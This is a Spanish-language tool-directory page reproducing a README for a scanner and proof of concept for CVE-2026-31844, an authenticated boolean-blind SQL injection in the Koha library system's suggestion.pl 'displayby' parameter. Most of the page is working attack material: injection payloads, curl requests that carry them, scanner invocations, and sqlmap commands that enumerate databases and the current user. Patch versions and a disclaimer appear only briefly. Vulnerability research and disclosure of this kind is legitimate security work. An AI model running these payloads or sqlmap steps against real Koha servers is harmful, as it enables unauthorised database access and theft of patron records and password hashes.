Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-31844 — Escáner de inyección SQL autenticada para el Sistema de Gestión de Bibliotecas Koha (CVE-2026-31844) que utiliza la técnica ciega basada en booleanos para verificar la vulnerabilidad y extraer datos. | Kitploit
Herramientas/GitHubGitHub/mothra-1/cve-2026-31844
Escáneres de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de Penetración
GitHubmothra-1/cve-2026-31844

CVE-2026-31844

Escáner de inyección SQL autenticada para el Sistema de Gestión de Bibliotecas Koha (CVE-2026-31844) que utiliza la técnica ciega basada en booleanos para verificar la vulnerabilidad y extraer datos.

Ver Repositorio
11hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Koha CVE-2026-31844: Inyección SQL Autenticada

Release Python 3.6+ CVE ID License

Resumen

Este repositorio contiene un PoC de vulnerabilidad responsable para CVE-2026-31844, una vulnerabilidad de inyección SQL autenticada de alta gravedad en el Sistema de Gestión de Bibliotecas Koha.

La vulnerabilidad existe en la función GetDistinctValues en C4/Search.pm, que es llamada por el script /cgi-bin/koha/suggestion/suggestion.pl. Puede explotarse mediante el parámetro displayby.

Bug de Koha:
#41593
  • Versiones Corregidas: 26.05.00, 25.11.01, 25.05.07, 24.11.12
  • Detalles de la Vulnerabilidad

    El parámetro displayby en el script suggestion.pl se utiliza para construir un nombre de columna calificado por tabla, que luego se pasa a la función GetDistinctValues. Sin embargo, esta función directamente incrusta tanto el nombre de la tabla como el nombre de la columna en una consulta SQL cruda sin realizar ninguna validación de entrada ni parametrización. Como resultado, un atacante puede manipular el parámetro displayby para inyectar código SQL malicioso en la consulta. Dado que la entrada no se sanitiza antes de incluirse en la sentencia SQL, este comportamiento introduce una vulnerabilidad de Inyección SQL, que puede permitir a un atacante ejecutar comandos SQL arbitrarios mediante la técnica Boolean-Based Blind en la base de datos.

    root@kitploit:~
    # suggestion.pl
    my $displayby = $input->param('displayby') || '';
    my $criteria_list = GetDistinctValues( "suggestions." . $displayby );
    

    Descubridor

    Raximov Shukrulloh (Mothra)

    Puedes escanear tu objetivo allí

    El escáner utiliza una técnica Boolean-Based Blind para verificar la vulnerabilidad

    Al inyectar sentencias condicionales en la posición del nombre de la columna, podemos observar respuestas HTTP diferenciales:

    • IF(1=1, (SELECT 1 UNION SELECT 2), 1) → Error de Subconsulta → HTTP 500
    • IF(1=2, (SELECT 1 UNION SELECT 2), 1) → Consulta Válida → HTTP 200

    Si el objetivo devuelve un 500 para la condición verdadera y un 200 para la condición falsa, la vulnerabilidad está confirmada.

    Instalación y Uso

    1. Clonar el Repositorio

    root@kitploit:~
    git clone https://github.com/shukrulloh70/CVE-2026-31844-Koha-Scanner.git
    cd CVE-2026-31844-Koha-Scanner
    

    2. Instalar Requisitos

    root@kitploit:~
    pip3 install requests
    

    3. Ejecutar el Escáner

    Debes proporcionar credenciales válidas para una cuenta de personal de Koha con el permiso suggestions.

    root@kitploit:~
    python3 scanner.py -t http://koha.example.com -u staff_user -p staff_password
    

    Para objetivos con certificados SSL autofirmados:

    root@kitploit:~
    python3 scanner.py -t https://koha.example.com -u staff_user -p staff_password --no-verify-ssl
    

    4. Ejemplo de Salida

    root@kitploit:~
    ╔═══════════════════════════════════════════════════════════════╗
    ║           CVE-2026-31844 — Escáner de Vulnerabilidad Koha     ║
    ║       SQLi Autenticada en suggestion.pl (displayby)           ║
    ║                 (Solo Verificación Responsable)               ║
    ╚═══════════════════════════════════════════════════════════════╝
    
    [*] Objetivo: http://koha.local:8081
    [*] Autenticando en la interfaz de personal como 'koha_admin'...
    [+] ¡Autenticación exitosa!
    
    ============================================================
     ESCANEO DE VULNERABILIDAD
    ============================================================
    [*] Probando vulnerabilidad usando evaluación Boolean-blind segura...
        [1] Probando solicitud de referencia (STATUS)... HTTP 200 (OK)
        [2] Probando evaluación de condición VERDADERA... HTTP 500 (Error Esperado)
        [3] Probando evaluación de condición FALSA... HTTP 200 (OK)
    ============================================================
    
    [ CRÍTICO ] EL OBJETIVO ES VULNERABLE A CVE-2026-31844 
    
    [! ] El objetivo evaluó las condiciones SQL y devolvió códigos HTTP diferenciales.
    [! ] Actualice Koha a la versión 24.11.12, 25.05.07, 25.11.01 o 26.05.00.
    

    Prueba de Concepto (PoC) Manual

    Puedes verificar manualmente la vulnerabilidad mediante curl. Primero, autentícate en la interfaz de personal de Koha y captura tu cookie CGISESSID.

    Condición Verdadera (Devuelve HTTP 500):

    root@kitploit:~
    curl -i -k \
      -H "Cookie: CGISESSID=your_session_id_here" \
      "http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=status+AND+IF(1=1,+(SELECT+1+UNION+SELECT+2),+1)"
    

    Condición Falsa (Devuelve HTTP 200):

    root@kitploit:~
    curl -i -k \
      -H "Cookie: CGISESSID=your_session_id_here" \
      "http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=status+AND+IF(1=2,+(SELECT+1+UNION+SELECT+2),+1)"
    

    5. Explotación mediante SQLMap

    SQLMap soporta nativamente la inyección ciega basada en booleanos. Para automatizar la extracción de datos, guarda una solicitud HTTP autenticada válida en request.txt. Mantén válidas las cookies csrf_token y CGISESSID.

    Ejemplo de request.txt:

    root@kitploit:~
    GET /cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=STATUS HTTP/1.1
    Host: koha.example.com
    Cookie: CGISESSID=your_session_id_here
    User-Agent: Mozilla/5.0
    

    Ejecuta SQLMap con la técnica booleana (--technique=B):

    root@kitploit:~
    # Extracción básica de bases de datos
    sqlmap -r request.txt -p displayby --dbms=mysql --technique=B --level=5 --risk=3 --dbs
    
    # Extraer usuario actual
    sqlmap -r request.txt -p displayby --dbms=mysql --technique=B --current-user
    

    O ejecútalo directamente desde la línea de comandos:

    root@kitploit:~
    sqlmap -u "http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=STATUS" \
      --cookie="CGISESSID=your_session_id_here" \
      -p displayby \
      --dbms=mysql \
      --technique=B \
      --current-db
    

    Después de un tiempo, sqlmap identificará el payload correcto.

    Impacto

    Si no se corrige, esta vulnerabilidad permite a un atacante autenticado:

    1. Extraer información sensible (registros de usuarios, hashes de contraseñas)
    2. Enumerar el esquema de la base de datos
    3. Comprometer completamente la base de datos backend

    Mitigación

    Actualiza a la versión de Koha 24.11.12, 25.05.07, 25.11.01 o 26.05.00 (o posterior) que incluye una corrección para esta vulnerabilidad.

    Créditos

    Raximov Shukrulloh (Mothra)

    Contacto

    Bot de Telegram @MothraContact_bot

    Consideraciones Éticas

    Esta prueba de concepto se proporciona únicamente con fines educativos y defensivos. Siempre obtén la autorización adecuada antes de probar cualquier sistema en busca de vulnerabilidades.

    Aviso Legal

    El autor no es responsable del mal uso de esta información. Esta prueba de concepto solo debe utilizarse en sistemas que poseas o para los cuales tengas permiso explícito de prueba.

    Descargar herramienta